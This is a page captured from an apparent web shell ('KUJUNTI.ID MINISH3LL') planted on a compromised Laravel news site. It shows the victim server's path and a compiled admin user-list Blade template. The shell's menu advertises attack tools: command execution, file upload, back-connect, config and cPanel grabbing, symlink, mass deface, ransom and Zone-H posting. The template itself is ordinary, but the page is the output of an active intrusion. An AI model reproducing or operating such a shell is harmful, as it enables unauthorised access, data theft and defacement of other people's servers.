KUJUNTI.ID MINISH3LL
Path : /var/www/html/phkaynews-v2/storage/framework/views/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/phkaynews-v2/storage/framework/views/792ee6cc532cbc908205245688ec4c43e567f4cd.php


<?php $__env->startSection('title','Admin Advertise Management'); ?>

<?php $__env->startSection('content'); ?>
<div class="row">
  <?php if (isset($component)) { $__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4 = $component; } ?>
<?php $component = $__env->getContainer()->make(Illuminate\View\AnonymousComponent::class, ['view' => 'components.content-header','data' => ['title' => 'page']]); ?>
<?php $component->withName('content-header'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php $component->withAttributes(['title' => 'page']); ?>
<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4)): ?>
<?php $component = $__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4; ?>
<?php unset($__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4); ?>
<?php endif; ?>

  <div class="col-12">
      <?php if (isset($component)) { $__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4 = $component; } ?>
<?php $component = $__env->getContainer()->make(Illuminate\View\AnonymousComponent::class, ['view' => 'components.card','data' => []]); ?>
<?php $component->withName('card'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php $component->withAttributes([]); ?>
          
          <div class="row mb-2">
              <div class="col-sm-4">
                  <div class="search-box mr-2 mb-2 d-inline-block">
                      <div class="position-relative">
                          <input type="text" class="form-control" placeholder="Search...">
                          <i class="bx bx-search-alt search-icon"></i>
                      </div>
                  </div>
              </div>
              <div class="col-sm-8">
                  <div class="text-sm-right">
                      <a href="<?php echo e(route('admin.users.create')); ?>" class="btn btn-success btn-rounded waves-effect waves-light mb-2 mr-2">
                          <i class="mdi mdi-plus mr-1"></i> Add New
                      </a>
                  </div>
              </div>
          </div>

          <?php if (isset($component)) { $__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4 = $component; } ?>
<?php $component = $__env->getContainer()->make(Illuminate\View\AnonymousComponent::class, ['view' => 'components.table.index','data' => []]); ?>
<?php $component->withName('table'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php $component->withAttributes([]); ?>
              <thead class="thead-light">
                  <tr>
                      <th>ID</th>
                      <th>Profile</th>
                      <th>Name</th>
                      <th>Email</th>
                      <th>Gender</th>
                      <th>Phone</th>
                      <th>Description</th>
                      <th>Created At</th>
                      <th>Action</th>
                  </tr>
              </thead>
              <tbody>
                  <?php $__empty_1 = true; $__currentLoopData = $users; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key => $user): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); $__empty_1 = false; ?>    
                  <tr>
                      <td class="text-center"><?php echo e(++$key); ?></td>
                      <td class="td-pointer avatar-md profile-user-wid"
                          x-data
                          @click="
                              window.location.href ='<?php echo e(route("admin.users.edit",$user->id)); ?>'
                          "
                      >
                          <img src="<?php echo e($user->feature_image != null?asset($user->feature_image):asset('backend/images/avatar.jpg')); ?>" alt="thumbnail" class="rounded-circle avatar-sm my-object-fit">
                      </td>
                      <td><?php echo e($user->name); ?></td>
                      <td><?php echo e($user->email); ?></td>
                      <td class="text-center"><?php echo e($user->gender); ?></td>
                      <td class="text-center"><?php echo e($user->phone); ?></td>
                      <td><?php echo e(Str::limit($user->desc, 40, '...')); ?></td>
                      <td>
                          <?php if(isset($user->created_at)): ?>
                          <?php echo e(date_format($user->created_at,'d-M-Y H:i a')); ?>

                          <?php endif; ?>
                      </td>
                      <td class="text-center">
                          <a href="<?php echo e(route('admin.users.edit',$user->id)); ?>" class="mr-3 text-primary" data-toggle="tooltip" data-placement="top" title="" data-original-title="Edit">
                              <i class="mdi mdi-pencil font-size-18"></i>
                          </a>
                          <a href="#" class="text-danger" 
                              x-data
                              @click=" 
                              Swal.fire({
                                title: 'Are you sure?',
                                text: 'You won\'t be able to revert this!',
                                icon: 'warning',
                                confirmButtonText: 'Yes, delete it!',
                                showCancelButton: !0,
                                cancelButtonText: 'No, cancel!',
                                confirmButtonClass: 'btn btn-success mt-2',
                                cancelButtonClass: 'btn btn-danger ml-2 mt-2',
                                buttonsStyling: !1,
                              }).then((result) => {
                                if (result.value) {
                                  document.getElementById('frmDelete-<?php echo e($user->id); ?>').submit();
                                }
                              })
                              "
                              data-toggle="tooltip" 
                              data-placement="top" 
                              title="" 
                              data-original-title="Delete"                  
                            >
                              <i class="mdi mdi-close font-size-18"></i>
                          </a>
                          <form id="frmDelete-<?php echo e($user->id); ?>" action="<?php echo e(route('admin.users.destroy',$user->id)); ?>" method="POST" class="d-none">
                            <?php echo csrf_field(); ?>
                            <?php echo method_field('DELETE'); ?>
                          </form>
                      </td>
                  </tr>
                  <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); if ($__empty_1): ?>
                      <tr>
                          <td colspan="6" class="py-2 text-center"><span class="badge badge-pill badge-soft-danger font-size-12">No Data</span></td>
                      </tr>
                  <?php endif; ?>

              </tbody>
           <?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4)): ?>
<?php $component = $__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4; ?>
<?php unset($__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4); ?>
<?php endif; ?>
         <?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4)): ?>
<?php $component = $__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4; ?>
<?php unset($__componentOriginalc254754b9d5db91d5165876f9d051922ca0066f4); ?>
<?php endif; ?>
  </div>
</div>
<?php $__env->stopSection(); ?>

<?php echo $__env->make('layouts.admin', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /var/www/html/phkaynews-v2/resources/views/admin/user/userList.blade.php ENDPATH**/ ?>

© KUJUNTI.ID